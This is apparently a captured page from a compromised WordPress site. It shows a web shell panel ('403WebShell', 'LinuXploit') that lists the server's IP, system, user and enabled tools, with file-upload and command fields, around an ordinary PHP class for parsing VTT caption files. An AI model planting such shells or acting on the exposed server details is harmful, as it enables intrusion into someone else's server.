Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /mnt/home/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/home/include/class.captions.php
<?php

// load and parse VTT closed caption file

require_once __DIR__ . '/Pluralise.php';
require_once __DIR__ . '/Text.php';
require_once __DIR__ . '/Syllables.php';

class Captions {

    private $content;

    public function Content() {
        if (func_num_args()) {
            $this->content = func_get_arg(0);
            return $this;
        }
        return $this->content;
    }

    private function _asSeconds($s) {
        preg_match('~(\d+):(\d+):(\d+)\.(\d+)~', $s, $matches);
        return    intval($matches[1], 10) * 3600 
                + intval($matches[2], 10) * 60 
                + intval($matches[3], 10)
                + intval($matches[4], 10) / 1000;
    }
    
    public function LoadVTT($pauses = FALSE) {
        if (empty($this->content)) return NULL;
        
        $contents = str_replace("\r\n", "\n", $this->content);
        $contents = preg_replace('~\s*align:start position:\d+%~', '', $contents);
        $contents = explode("\n", $contents);
        $segments = [];
        $current = [ 'lines' => [] ];
        foreach($contents as $index => $line) {
            if (preg_match('~^\d+$~', $line) !== FALSE && (strpos($contents[$index + 1], '-->') !== FALSE)) {
                // optional frame number
            } elseif (strpos($line, '-->') !== FALSE) {
                if (count($current['lines'])) $segments[] = $current;
                $line = str_replace(',', '.', $line);
                preg_match('~(\d+:\d+:\d+\.\d+) --> (\d+:\d+:\d+\.\d+)~', $line, $matches);
                $current = [
                    '_start'   => $matches[1],
                    '_end'     => $matches[2],
                    'start'    => $this->_asSeconds($matches[1]),
                    'end'      => $this->_asSeconds($matches[2]),
                    'lines'   => [],
                ];
                $linenum = '';
            } elseif ($line != '') {
                $current['lines'][] = $line;
            }
        }
        if (count($current)) $segments[] = $current;
        unset($current);
        unset($segments[0]);
		
        $full = FALSE;
        foreach($segments as $index => &$current) {
            if (!isset($current['lines'])) {
                unset($segments[$index]);      // 'pause' is only entry
                continue;
            }
            if (is_array($current['lines']) && count($current['lines']) > 1) {
                $line = trim($current['lines'][1]);
                if ($line == '') {
                    unset($segments[$index]);
                    if ($index > 0) $segments[$index - 1]['pause'] = 1;
                } else {
                    $current['lines'] = $this->_loadVtt_lines($line, $current['start']);
                    $full = TRUE;
                }
            } else {
                $current['text'] = $current['lines'][0];
				if ($current['text'] != 'x') {
					$pace = intval(strlen($current['text']) * 100 / ($current['end'] - $current['start']));
					if ($pace > 1800) $current['pause'] = 1;
					unset($current['lines']);
				} else {
//					$current['text'] = '';
					unset($segments[$index]);
				}
            }
        }
        unset($current);

        if ($full) {        // do we have the full vtt file from youtube, (with <c> entries)
            $sxx = $pauses ? new Syllables() : NULL;
            foreach($segments as &$current) {
                $c = count($current['lines']) - 1;
                $item = &$current['lines'][$c];
                if (is_object($sxx)) {
                    $ns = $sxx->syllableCount($item['w']);
                    if ($ns > 0) {
                        $estimated = $item['s'] + $ns * 0.16; // estimated end time
                        $delta = $current['end'] - $estimated;
                        if ($delta < 1) {
                            unset($current['pause']);
                        } else {
                            $current['pause'] = 1;
                        }
                    }
                }
                $current['text'] = join('', array_column($current['lines'], 'w'));
                unset($current['lines']);
            }
        }
        
        return array_values($segments);
    }
    
    private function _loadVtt_lines($line, $time) {
        $output = [];
        $elements = preg_split('~(\<.*?\>)~', $line, 0, PREG_SPLIT_DELIM_CAPTURE);
        $inQuote = TRUE;
        foreach($elements as $item) {
            if ($item == '<c>') {
                $inQuote = TRUE;
            } elseif ($item == '</c>') {
                $inQuote = FALSE;
            } elseif (preg_match('~\<(\d+:\d+:\d+\.\d+)\>~', $item, $match)) {
                $time = $this->_asSeconds($match[1]);
            } elseif ($item != '' && $inQuote) {
                $node = [
                    'w' => html_entity_decode($item, ENT_QUOTES),
                    's' => $time,       // start time
                ];
                $output[] = $node;
            }
        }
        return $output;
    }
    
}

Youez - 2016 - github.com/yon3zu
LinuXploit